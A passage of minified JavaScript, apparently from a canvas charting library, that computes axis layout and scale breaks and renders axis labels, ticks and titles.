l},b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f].titleMaxWi
dth<b[f].lineCoordinates.height?
b[f].titleMaxWidth:b[f].lineCoordinates.height),S+=D[f]
+b[f].margin);if(c&&0<c.length)for(f=0;f<c.length;f++)c[f]&&(k=Math.round(a[0]?
a[0].lineCoordinates.x2:d[0].lineCoordinates.x2),h=Math.round(k),K=c[f]._labels&&0<
c[f]._labels.length?c[f]._labels[c[f]._labels.length-
1].textBlock.height/2:0,l=Math.round(g.y1+X+W<Math.max(K,q)?
Math.max(K,q):g.y1+X+W),K=0<a.length?0:c[f]._labels&&0<c[f]._labels.length?
c[f]._labels[0].textBlock.height/2:0,m=Math.round(g.y2-
(V+e+K)),c[f].lineCoordinates={x1:k+U,y1:l,x2:k+U,y2:m,height:Math.abs(m-
l)},c[f].bounds={x1:k,y1:l,x2:h+(y[f]+U),y2:m,width:h-k,height:m-
l},c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].titleMaxWi
dth<c[f].lineCoordinates.height?
c[f].titleMaxWidth:c[f].lineCoordinates.height),U+=y[f]
+c[f].margin);if(a&&0<a.length)for(f=0;f<a.length;f+
+)a[f]&&(a[f].calculateValueToPixelConversionParameters(),a[f].calculateBreaksSizeI
nValues(),a[f]._labels&&1<a[f]._labels.length&&(A=(a[f].logarithmic?
Math.log(a[f]._labels[1].position/a[f].viewportMinimum)/a[f].conversionParameters.l
nLogarithmBase:a[f]._labels[1].position-
a[f].viewportMinimum)*Math.abs(a[f].conversionParameters.pixelPerUnit)
+a[f].lineCoordinates.x1,k=a[f]._labels[a[f]._labels.length-
("dateTime"===a[f].valueType?
2:1)].position,k=a[f].getApparentDifference(a[f].viewportMinimum,k),E=a[f].logarith
mic?(1<k?
Math.log(k)/a[f].conversionParameters.lnLogarithmBase*Math.abs(a[f].conversionParam
eters.pixelPerUnit):0)+a[f].lineCoordinates.x1:(0<k?
k*Math.abs(a[f].conversionParameters.pixelPerUnit):0)+a[f].lineCoordinates.x1));if(
d&&0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateValueToPixelConversionParameters(),d[f].calculateBreaksSizeInValues
(),d[f]._labels&&1<d[f]._labels.length&&(A=(d[f].logarithmic?
Math.log(d[f]._labels[1].position/d[f].viewportMinimum)/d[f].conversionParameters.l
nLogarithmBase:d[f]._labels[1].position-
d[f].viewportMinimum)*Math.abs(d[f].conversionParameters.pixelPerUnit)
+d[f].lineCoordinates.x1,k=d[f]._labels[d[f]._labels.length-
("dateTime"===d[f].valueType?
2:1)].position,k=d[f].getApparentDifference(d[f].viewportMinimum,k),E=d[f].logarith
mic?(1<k?
Math.log(k)/d[f].conversionParameters.lnLogarithmBase*Math.abs(d[f].conversionParam
eters.pixelPerUnit):0)+d[f].lineCoordinates.x1:(0<k?
k*Math.abs(d[f].conversionParameters.pixelPerUnit):0)+d[f].lineCoordinates.x1);for(
f=0;f<n.length;f+
+)"axisY"===n[f].type&&(n[f].calculateValueToPixelConversionParameters(),n[f].calcu
lateBreaksSizeInValues());if(0<v){if(a&&0<a.length)for(f=0;f<a.length;f++)r=M[v-1]
[f]===M[v][f]?!0:!1;else r=!0;if(d&&0<d.length)for(f=0;f<d.length;f++)H=N[v-1]
[f]===N[v][f]?!0:!1;else H=!0;if(b&&0<b.length)for(f=0;f<b.length;f++)I=O[v-1]
[f]===O[v][f]?!0:!1;else I=!0;if(c&&0<c.length)for(f=0;f<c.length;f++)L=Q[v-1]
[f]===Q[v][f]?!0:!1;else L=!0}if(r&&H&&I&&L)break;v+
+}if(a&&0<a.length)for(f=0;f<a.length;f+
+)a[f].calculateStripLinesThicknessInValues(),a[f].calculateBreaksInPixels();if(d&&
0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateStripLinesThicknessInValues(),d[f].calculateBreaksInPixels();if(b&&
0<b.length)for(f=0;f<b.length;f+
+)b[f].calculateStripLinesThicknessInValues(),b[f].calculateBreaksInPixels();if(c&&
0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateStripLinesThicknessInValues(),c[f].calculateBreaksInPixels()}else{q
=[];A=[];F=[];z=[];E=[];t=[];M=[];for(N=[];4>v;)
{V=U=R=S=$=K=W=e=Q=O=G=X=0;if(a&&0<a.length)for(F=[],f=U=0;f<a.length;f+
+)F.push(Math.ceil(a[f]?a[f].createLabelsAndCalculateWidth():0)),U+=F[f],e+=a[f]&&!
p.isNavigator?a[f].margin:0;else F.push(Math.ceil(a[0]?
a[0].createLabelsAndCalculateWidth():0));M.push(F);if(d&&0<d.length)for(z=[],f=V=0;
f<d.length;f++)z.push(Math.ceil(d[f]?
d[f].createLabelsAndCalculateWidth():0)),V+=z[f],W+=d[f]?d[f].margin:0;else
z.push(Math.ceil(d[0]?
d[0].createLabelsAndCalculateWidth():0));N.push(z);if(b&&0<b.length)for(f=0;f<b.len
gth;f++)b[f].lineCoordinates={},k=Math.round(g.x1+U+e),h=Math.round(g.x2-V-
W>p.width-10?p.width-10:g.x2-V-W),b[f].labelAutoFit&&!u(C)&&(0<!
a.length&&(k=0>b[f].labelAngle?Math.max(k,C):0===b[f].labelAngle?
Math.max(k,C/2):k),0<!d.length&&(h=0<b[f].labelAngle?h-x/2:0===b[f].labelAngle?h-
x/2:h)),b[f].lineCoordinates.x1=k,b[f].lineCoordinates.x2=h,b[f].lineCoordinates.wi
dth=Math.abs(h-
k),b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f].titleMaxWi
dth<b[f].lineCoordinates.width?
b[f].titleMaxWidth:b[f].lineCoordinates.width);if(c&&0<c.length)for(f=0;f<c.length;
f++)c[f].lineCoordinates={},k=Math.round(g.x1+U+e),h=Math.round(g.x2-V-
W>c[f].chart.width-10?c[f].chart.width-10:g.x2-V-W),c[f]&&c[f].labelAutoFit&&!
u(D)&&(0<!a.length&&(k=0<c[f].labelAngle?Math.max(k,D):0===c[f].labelAngle?
Math.max(k,D/2):k),0<!d.length&&(h-
=y/2)),c[f].lineCoordinates.x1=k,c[f].lineCoordinates.x2=h,c[f].lineCoordinates.wid
th=Math.abs(h-
k),c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].titleMaxWi
dth<c[f].lineCoordinates.width?
c[f].titleMaxWidth:c[f].lineCoordinates.width);if(b&&0<b.length)for(q=[],f=S=0;f<b.
length;f++)q.push(Math.ceil(b[f]?b[f].createLabelsAndCalculateHeight():0)),S+=q[f]
+b[f].margin,K+=b[f].margin;else q.push(Math.ceil(b[0]?
b[0].createLabelsAndCalculateHeight():0));E.push(q);if(c&&0<c.length)for(A=[],f=R=0
;f<c.length;f++)A.push(Math.ceil(c[f]?
c[f].createLabelsAndCalculateHeight():0)),R+=A[f],$+=c[f].margin;else
A.push(Math.ceil(c[0]?
c[0].createLabelsAndCalculateHeight():0));t.push(A);if(b&&0<b.length)for(f=0;f<b.le
ngth;f+
+)0<b[f]._labels.length&&(m=b[f]._labels[0],l=b[f]._labels[b[f]._labels.length-
1],C=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),x=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle)));if(c&&0<
c.length)for(f=0;f<c.length;f+
+)c[f]&&0<c[f]._labels.length&&(m=c[f]._labels[0],l=c[f]._labels[c[f]._labels.lengt
h-1],D=m.textBlock.width*Math.cos(Math.PI/180*Math.abs(m.textBlock.angle))+
(m.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(m.textBlock.angle)),y=l.textB
lock.width*Math.cos(Math.PI/180*Math.abs(l.textBlock.angle))+(l.textBlock.height-
l.textBlock.fontSize/2)*Math.sin(Math.PI/180*Math.abs(l.textBlock.angle)));if(p.pan
Enabled)for(f=0;f<b.length;f++)q[f]=p.sessionVariables.axisY.height;else
for(f=0;f<b.length;f+
+)p.sessionVariables.axisY.height=q[f];if(b&&0<b.length)for(f=b.length-
1;0<=f;f--)l=Math.round(g.y2),m=Math.round(g.y2>b[f].chart.height-10?
b[f].chart.height-10:g.y2),b[f].lineCoordinates.y1=l-(q[f]
+b[f].margin+X),b[f].lineCoordinates.y2=l-(q[f]
+b[f].margin+X),b[f].bounds={x1:k,y1:l-(q[f]+X+b[f].margin),x2:h,y2:m-
(X+b[f].margin),width:h-
k,height:q[f]},b[f].title&&(b[f]._titleTextBlock.maxWidth=0<b[f].titleMaxWidth&&b[f
].titleMaxWidth<b[f].lineCoordinates.width?
b[f].titleMaxWidth:b[f].lineCoordinates.width),X+=q[f]
+b[f].margin;if(c&&0<c.length)for(f=c.length-
1;0<=f;f--)c[f]&&(l=Math.round(g.y1),m=Math.round(g.y1+(A[f]
+c[f].margin+G)),c[f].lineCoordinates.y1=m,c[f].lineCoordinates.y2=m,c[f].bounds={x
1:k,y1:l+(c[f].margin+G),x2:h,y2:m,width:h-
k,height:R},c[f].title&&(c[f]._titleTextBlock.maxWidth=0<c[f].titleMaxWidth&&c[f].t
itleMaxWidth<c[f].lineCoordinates.width?
c[f].titleMaxWidth:c[f].lineCoordinates.width),G+=A[f]
+c[f].margin);if(a&&0<a.length)for(f=0;f<a.length;f++)
{K=a[f]._labels&&0<a[f]._labels.length?
a[f]._labels[0].textBlock.fontSize/2:0;k=Math.round(g.x1+e);l=c&&0<c.length?
Math.round(c[0]?c[0].lineCoordinates.y2:g.y1<Math.max(K,10)?
Math.max(K,10):g.y1):g.y1<Math.max(K,10)?
Math.max(K,10):g.y1;h=Math.round(g.x1+U+e);m=b&&0<b.length?Math.round(b[0]?
b[0].lineCoordinates.y1:g.y2-S>p.height-Math.max(K,10)?p.height-
Math.max(K,10):g.y2-S)
:g.y2>p.height-Math.max(K,10)?p.height-
Math.max(K,10):g.y2;if(b&&0<b.length)for(K=0;K<b.length;K+
+)b[K]&&b[K].labelAutoFit&&(h=0>b[K].labelAngle?Math.max(h,C):0===b[K].labelAngle?
Math.max(h,C/2):h,k=0>b[K].labelAngle||0===b[K].labelAngle?h-
U:k);if(c&&0<c.length)for(K=0;K<c.length;K+
+)c[K]&&c[K].labelAutoFit&&(h=c[K].lineCoordinates.x1,k=h-
U);a[f].lineCoordinates={x1:h-O,y1:l,x2:h-O,y2:m,height:Math.abs(m-
l)};a[f].bounds={x1:h-(F[f]+O),y1:l,x2:h,y2:m,width:h-k,height:m-
l};a[f].title&&(a[f]._titleTextBlock.maxWidth=0<a[f].titleMaxWidth&&a[f].titleMaxWi
dth<a[f].lineCoordinates.height?
a[f].titleMaxWidth:a[f].lineCoordinates.height);a[f].calculateValueToPixelConversio
nParameters();a[f].calculateBreaksSizeInValues();O+=F[f]
+a[f].margin}if(d&&0<d.length)for(f=0;f<d.length;f++)
{K=d[f]._labels&&0<d[f]._labels.length?
d[f]._labels[0].textBlock.fontSize/2:0;k=Math.round(g.x1-e);l=c&&0<c.length?
Math.round(c[0]?c[0].lineCoordinates.y2:g.y1<Math.max(K,10)?
Math.max(K,10):g.y1):g.y1<Math.max(K,10)?Math.max(K,10):g.y1;h=Math.round(g.x2-V-
W);m=b&&0<b.length?Math.round(b[0]?b[0].lineCoordinates.y1:g.y2-S>p.height-
Math.max(K,10)?p.height-Math.max(K,10):g.y2-S):g.y2>p.height-Math.max(K,10)?
p.height-Math.max(K,10):g.y2;if(b&&0<b.length)for(K=0;K<b.length;K+
+)b[K]&&b[K].labelAutoFit&&(h=0>b[K].labelAngle?Math.max(h,C):0===b[K].labelAngle?
Math.max(h,C/2):h,k=0>b[K].labelAngle||0===b[K].labelAngle?h-
V:k);if(c&&0<c.length)for(K=0;K<c.length;K+
+)c[K]&&c[K].labelAutoFit&&(h=c[K].lineCoordinates.x2,k=h-
V);d[f].lineCoordinates={x1:h+Q,y1:l,x2:h+Q,y2:m,height:Math.abs(m-
l)};d[f].bounds={x1:k,y1:l,x2:h+z[f]+Q,y2:m,width:h-k,height:m-
l};d[f].title&&(d[f]._titleTextBlock.maxWidth=0<d[f].titleMaxWidth&&d[f].titleMaxWi
dth<d[f].lineCoordinates.height?
d[f].titleMaxWidth:d[f].lineCoordinates.height);d[f].calculateValueToPixelConversio
nParameters();d[f].calculateBreaksSizeInValues();Q+=z[f]
+d[f].margin}for(f=0;f<n.length;f+
+)"axisY"===n[f].type&&(n[f].calculateValueToPixelConversionParameters(),n[f].calcu
lateBreaksSizeInValues());if(0<v){if(a&&0<a.length)for(f=0;f<a.length;f++)r=M[v-1]
[f]===M[v][f]?!0:!1;else r=!0;if(d&&0<d.length)for(f=0;f<d.length;f++)H=N[v-1]
[f]===N[v][f]?!0:!1;else H=!0;if(b&&0<b.length)for(f=0;f<b.length;f++)I=E[v-1]
[f]===E[v][f]?!0:!1;else I=!0;if(c&&0<c.length)for(f=0;f<c.length;f++)L=t[v-1]
[f]===t[v][f]?!0:!1;else L=!0}if(r&&H&&I&&L)break;v+
+}if(b&&0<b.length)for(f=0;f<b.length;f+
+)b[f].calculateStripLinesThicknessInValues(),b[f].calculateBreaksInPixels();if(c&&
0<c.length)for(f=0;f<c.length;f+
+)c[f].calculateStripLinesThicknessInValues(),c[f].calculateBreaksInPixels();if(a&&
0<a.length)for(f=0;f<a.length;f+
+)a[f].calculateStripLinesThicknessInValues(),a[f].calculateBreaksInPixels();if(d&&
0<d.length)for(f=0;f<d.length;f+
+)d[f].calculateStripLinesThicknessInValues(),d[f].calculateBreaksInPixels()}};z.re
nder=function(a,d,b,c,e){var g=a[0]?a[0].chart:d[0].chart;e=g.ctx;var
k=g._axes;g.alignVerticalAxes&&g.alignVerticalAxes();e.save();e.beginPath();a[0]&&e
.rect(5,a[0].bounds.y1,a[0].chart.width-
10,a[0].bounds.height);d[0]&&e.rect(5,d[d.length-1].bounds.y1,d[0].chart.width-
10,d[0].bounds.height);e.clip();if(a&&0<a.length)for(var l=0;l<a.length;l+
+)a[l].renderLabelsTicksAndTitle();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderLabelsTicksAndTitle();e.restore();if(b&&0<b.length)for(l=0;l<b.length;
l++)b[l].renderLabelsTicksAndTitle();if(c&&0<c.length)for(l=0;l<c.length;l+
+)c[l].renderLabelsTicksAndTitle();g.preparePlotArea();g=g.plotArea;e.save();e.begi
nPath();e.rect(g.x1,g.y1,Math.abs(g.x2-g.x1),Math.abs(g.y2-
g.y1));e.clip();if(a&&0<a.length)for(l=0;l<k.length;l+
+)k[l].renderStripLinesOfThicknessType("value");if(d&&0<d.length)for(l=0;l<d.length
;l+
+)d[l].renderStripLinesOfThicknessType("value");if(b&&0<b.length)for(l=0;l<b.length
;l+
+)b[l].renderStripLinesOfThicknessType("value");if(c&&0<c.length)for(l=0;l<c.length
;l+
+)c[l].renderStripLinesOfThicknessType("value");if(a&&0<a.length)for(l=0;l<a.length
;l++)a[l].renderInterlacedColors();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderInterlacedColors();if(b&&0<b.length)for(l=0;l<b.length;l+
+)b[l].renderInterlacedColors();if(c&&0<c.length)for(l=0;l<c.length;l+
+)c[l].renderInterlacedColors();e.restore();if(a&&0<a.length)for(l=0;l<a.length;l+
+)a[l].renderGrid(),r&&(a[l].createMask(),a[l].renderBreaksBackground());if(d&&0<d.
length)for(l=0;l<d.length;l+
+)d[l].renderGrid(),r&&(d[l].createMask(),d[l].renderBreaksBackground());if(b&&0<b.
length)for(l=0;l<b.length;l+
+)b[l].renderGrid(),r&&(b[l].createMask(),b[l].renderBreaksBackground());if(c&&0<c.
length)for(l=0;l<c.length;l+
+)c[l].renderGrid(),r&&(c[l].createMask(),c[l].renderBreaksBackground());if(a&&0<a.
length)for(l=0;l<a.length;l+
+)a[l].renderAxisLine();if(d&&0<d.length)for(l=0;l<d.length;l+
+)d[l].renderAxisLine();if(b&&0<b.length)for(l=0;l<b.length;l+
+)b[l].renderAxisLine();if(c&&0<c.length)for(l=0;l<c.length;l+
+)c[l].renderAxisLine();if(a&&0<a.length)for(l=0;l<a.length;l+
+)a[l].renderStripLinesOfThicknessType("pixel");if(d&&0<d.length)for(l=0;l<d.length
;l+
+)d[l].renderStripLinesOfThicknessType("pixel");if(b&&0<b.length)for(l=0;l<b.length
;l+
+)b[l].renderStripLinesOfThicknessType("pixel");if(c&&0<c.length)for(l=0;l<c.length
;l+
+)c[l].renderStripLinesOfThicknessType("pixel")};z.prototype.calculateStripLinesThi
cknessInValues=function(){for(var a=0;a<this.stripLines.length;a++)if(null!
==this.stripLines[a].startValue&&null!==this.stripLines[a].endValue){var
d=Math.min(this.stripLines[a].startValue,this.stripLines[a].endValue),b=Math.max(th
is.stripLines[a].startValue,this.stripLines[a].endValue),d=this.getApparentDifferen
ce(d,b);this.stripLines[a].value=this.logarithmic?
this.stripLines[a].value*Math.sqrt(Math.log(this.stripLines[a].endValue/this.stripL
ines[a].startValue)/Math.log(d)):this.stripLines[a].value+
(Math.abs(this.stripLines[a].endValue-this.stripLines[a].startValue)-
d)/2;this.stripLines[a].thickness=d;this.stripLines[a]._thicknessType="value"}};z.p
rototype.calculateBreaksSizeInValues=function(){for(var
a="left"===this._position||"right"===this._position?this.lineCoordinates.height||
this.chart.height:this.lineCoordinates.width||this.chart.width,d=this.scaleBreaks?
this.scaleBreaks._appliedBreaks:[],b=this.conversionParameters.pixelPerUnit||a/
(this.logarithmic?
this.conversionParameters.maximum/this.conversionParameters.minimum:this.conversion
Parameters.maximum-this.conversionParameters.minimum),c=this.scaleBreaks&&!
u(this.scaleBreaks.options.spacing),e,g=0;g<d.length;g++)e=c||!
u(d[g].options.spacing),d[g].spacing=I(d[g].spacing,a,8,e?0.1*a:8,e?
0:3)<<0,d[g].size=0>d[g].spacing?
0:Math.abs(d[g].spacing/b),this.logarithmic&&(d[g].size=Math.pow(this.logarithmBase
,d[g].size))};z.prototype.calculateBreaksInPixels=function(){if(!
(this.scaleBreaks&&0>=this.scaleBreaks._appliedBreaks.length)){var
a=this.scaleBreaks?this.scaleBreaks._appliedBreaks:
[];a.length&&(this.scaleBreaks.firstBreakIndex=this.scaleBreaks.lastBreakIndex=null
);for(var d=0;d<a.length&&!(a[d].startValue>this.conversionParameters.maximum);d+
+)a[d].endValue<this.conversionParameters.minimum||
(u(this.scaleBreaks.firstBreakIndex)&&(this.scaleBreaks.firstBreakIndex=d),a[d].sta
rtValue>=this.conversionParameters.minimum&&(a[d].startPixel=this.convertValueToPix
el(a[d].startValue),this.scaleBreaks.lastBreakIndex=d),a[d].endValue<=this.conversi
onParameters.maximum&&(a[d].endPixel=this.convertValueToPixel(a[d].endValue)))}};z.
prototype.renderLabelsTicksAndTitle=function(){var a=this,d=!1,b=0,c=0,e=1,g=0;0!
==this.labelAngle&&360!==this.labelAngle&&(e=1.2);if("undefined"===typeof
this.options.interval)
{if("bottom"===this._position||"top"===this._position)if(this.logarithmic&&!
this.equidistantInterval&&this.labelAutoFit){for(var b=[],e=0!
==this.labelAngle&&360!==this.labelAngle?
1:1.2,k,l=this.viewportMaximum,h=this.lineCoordinates.width/Math.log(this.range),m=
this._labels.length-1;0<=m;m--)
{q=this._labels[m];if(q.position<this.viewportMinimum)break;q.position>this.viewpor
tMaximum||!(m===this._labels.length-1||k<Math.log(l/q.position)*h/e)||
(b.push(q),l=q.position,k=q.textBlock.width*Math.abs(Math.cos(Math.PI/180*this.labe
lAngle))
+q.textBlock.height*Math.abs(Math.sin(Math.PI/180*this.labelAngle)))}this._labels=b
}else{for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(k=q.textBlock.width*Math.abs(Math.cos(Math.PI/180*this.labelAngle))
+q.textBlock.height*Math.abs(Math.sin(Math.PI/180*this.labelAngle)),b+=k);b>this.li
neCoordinates.width*e&&this.labelAutoFit&&(d=!
0)}if("left"===this._position||"right"===this._position)if(this.logarithmic&&!
this.equidistantInterval&&this.labelAutoFit){for(var
b=[],p,l=this.viewportMaximum,h=this.lineCoordinates.height/Math.log(this.range),m=
this._labels.length-1;0<=m;m--)
{q=this._labels[m];if(q.position<this.viewportMinimum)break;q.position>this.viewpor
tMaximum||!(m===this._labels.length-1||p<Math.log(l/q.position)*h)||
(b.push(q),l=q.position,p=q.textBlock.height*Math.abs(Math.cos(Math.PI/180*this.lab
elAngle))
+q.textBlock.width*Math.abs(Math.sin(Math.PI/180*this.labelAngle)))}this._labels=b}
else{for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(p=q.textBlock.height*Math.abs(Math.cos(Math.PI/180*this.labelAngle))
+q.textBlock.width*Math.abs(Math.sin(Math.PI/180*this.labelAngle)),c+=p);c>this.lin
eCoordinates.height*e&&this.labelAutoFit&&(d=!0)}}this.logarithmic&&(!
this.equidistantInterval&&this.labelAutoFit)&&this._labels.sort(function(a,b)
{return a.position-b.position});var m=0,q,n;if("bottom"===this._position)
{for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0,this.ctx.beginPath(),this.ctx.moveTo(c,n.y<<0),this.ctx.lineTo(
c,n.y+this.tickLength<<0),this.ctx.stroke()),0===q.textBlock
.angle?(n.x-=q.textBlock.width/2,n.y="inside"===this.labelPlacement?n.y-
(this.tickLength+q.textBlock.fontSize/2):n.y+this.tickLength+q.textBlock.fontSize/2
):(n.x="inside"===this.labelPlacement?0>this.labelAngle?n.x:n.x-
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):n.x-(0>this.labelAngle?
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),n.y="inside"===this.labe
lPlacement?0>this.labelAngle?n.y-this.tickLength-5:n.y-this.tickLength-
Math.abs(q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle)
+5):n.y+this.tickLength+Math.abs(0>this.labelAngle?
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle)-
5:5)),q.textBlock.x=n.x,q.textBlock.y=n.y);"inside"===this.labelPlacement&&this.cha
rt.addEventListener("dataAnimationIterationEnd",function()
{for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!(q.position<a.viewportMinimum||
q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===a.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(b,n.y<<0);a.ctx.lin
eTo(b,n.y-
a.tickLength<<0);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this._titleTex
tBlock.measureText(),this._titleTextBlock.x=this.lineCoordinates.x1+this.lineCoordi
nates.width/2-this._titleTextBlock.width/2,this._titleTextBlock.y=this.bounds.y2-
this._titleTextBlock.height-
3,this.titleMaxWidth=this._titleTextBlock.maxWidth,this._titleTextBlock.render(!
0))}else if("top"===this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0,this.ctx.beginPath(),this.ctx.moveTo(c,n.y<<0),this.ctx.lineTo(
c,n.y-this.tickLength<<0),this.ctx.stroke()),0===q.textBlock.angle?(n.x-
=q.textBlock.width/2,n.y="inside"===this.labelPlacement?
n.y+this.labelFontSize/2+this.tickLength+5:n.y-(this.tickLength+q.textBlock.height-
q.textBlock.fontSize/2)):(n.x="inside"===this.labelPlacement?0<this.labelAngle?
n.x:n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):n.x+
(q.textBlock.height-this.tickLength-
this.labelFontSize)*Math.sin(Math.PI/180*this.labelAngle)-(0<this.labelAngle?
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),n.y="inside"===this.labe
lPlacement?0<this.labelAngle?n.y+this.tickLength+5:n.y-
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle)+this.tickLength+5:n.y-
(this.tickLength+((q.textBlock.height-
q.textBlock.fontSize/2)*Math.cos(Math.PI/180*this.labelAngle)+(0<this.labelAngle?
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0)))),q.textBlock.x=n.x,q.t
extBlock.y=n.y);"inside"===this.labelPlacement&&this.chart.addEventListener("dataAn
imationIterationEnd",function(){for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!
(q.position<a.viewportMinimum||q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===this.ctx.lineWidth%2?
(n.x<<0)+0.5:n.x<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(b,n.y<<0);a.ctx.lin
eTo(b,n.y+a.tickLength<<0);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this
._titleTextBlock.measureText(),this._titleTextBlock.x=this.lineCoordinates.x1+this.
lineCoordinates.width/2-
this._titleTextBlock.width/2,this._titleTextBlock.y=this.bounds.y1+1,this.titleMaxW
idth=this._titleTextBlock.maxWidth,this._titleTextBlock.render(!0))}else
if("left"===this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0,this.ctx.beginPath(),this.ctx.moveTo(n.x<<0,c),this.ctx.lineTo(
n.x-this.tickLength<<0,c),this.ctx.stroke()),0===this.labelAngle?
(q.textBlock.y=n.y,q.textBlock.x="inside"===this.labelPlacement?
n.x+this.tickLength+5:n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-
this.tickLength-5):(q.textBlock.y="inside"===this.labelPlacement?n.y:n.y-
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle),q.textBlock.x="inside"===th
is.labelPlacement?n.x+this.tickLength+5:0<this.labelAngle?n.x-
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-5:n.x-
q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)+(q.textBlock.height-
q.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)-
this.tickLength));"inside"===this.labelPlacement&&this.chart.addEventListener("data
AnimationIterationEnd",function(){for(m=0;m<a._labels.length;m+
+)if(q=a._labels[m],!(q.position<a.viewportMinimum||q.position>a.viewportMaximum||
d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===a.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(n.x<<0,b);a.ctx.lin
eTo(n.x+a.tickLength<<0,b);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this
._titleTextBlock.measureText(),this._titleTextBlock.x=this.bounds.x1+1,this._titleT
extBlock.y=this.lineCoordinates.height/2+this._titleTextBlock.width/2+this.lineCoor
dinates.y1,this.titleMaxWidth=this._titleTextBlock.maxWidth,this._titleTextBlock.re
nder(!0))}else if("right"===this._position){for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
(n=this.getPixelCoordinatesOnAxis(q.position),this.tickThickness&&"inside"!
=this.labelPlacement&&(this.ctx.lineWidth=this.tickThickness,this.ctx.strokeStyle=t
his.tickColor,c=1===this.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0,this.ctx.beginPath(),this.ctx.moveTo(n.x<<0,c),this.ctx.lineTo(
n.x+this.tickLength<<0,c),this.ctx.stroke()),0===this.labelAngle?
(q.textBlock.y=n.y,q.textBlock.x="inside"===this.labelPlacement?n.x-
q.textBlock.width-this.tickLength-5:n.x+this.tickLength+5):
(q.textBlock.y="inside"===this.labelPlacement?n.y-
q.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0>this.labelAngle?n.y:n.y-
(q.textBlock.height-q.textBlock.fontSize/2-
5)*Math.cos(Math.PI/180*this.labelAngle),q.textBlock.x="inside"===this.labelPlaceme
nt?n.x-q.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-
5:0<this.labelAngle?n.x+(q.textBlock.height-q.textBlock.fontSize/2-
5)*Math.sin(Math.PI/180*this.labelAngle)
+this.tickLength:n.x+this.tickLength+5));"inside"===this.labelPlacement&&this.chart
.addEventListener("dataAnimationIterationEnd",function()
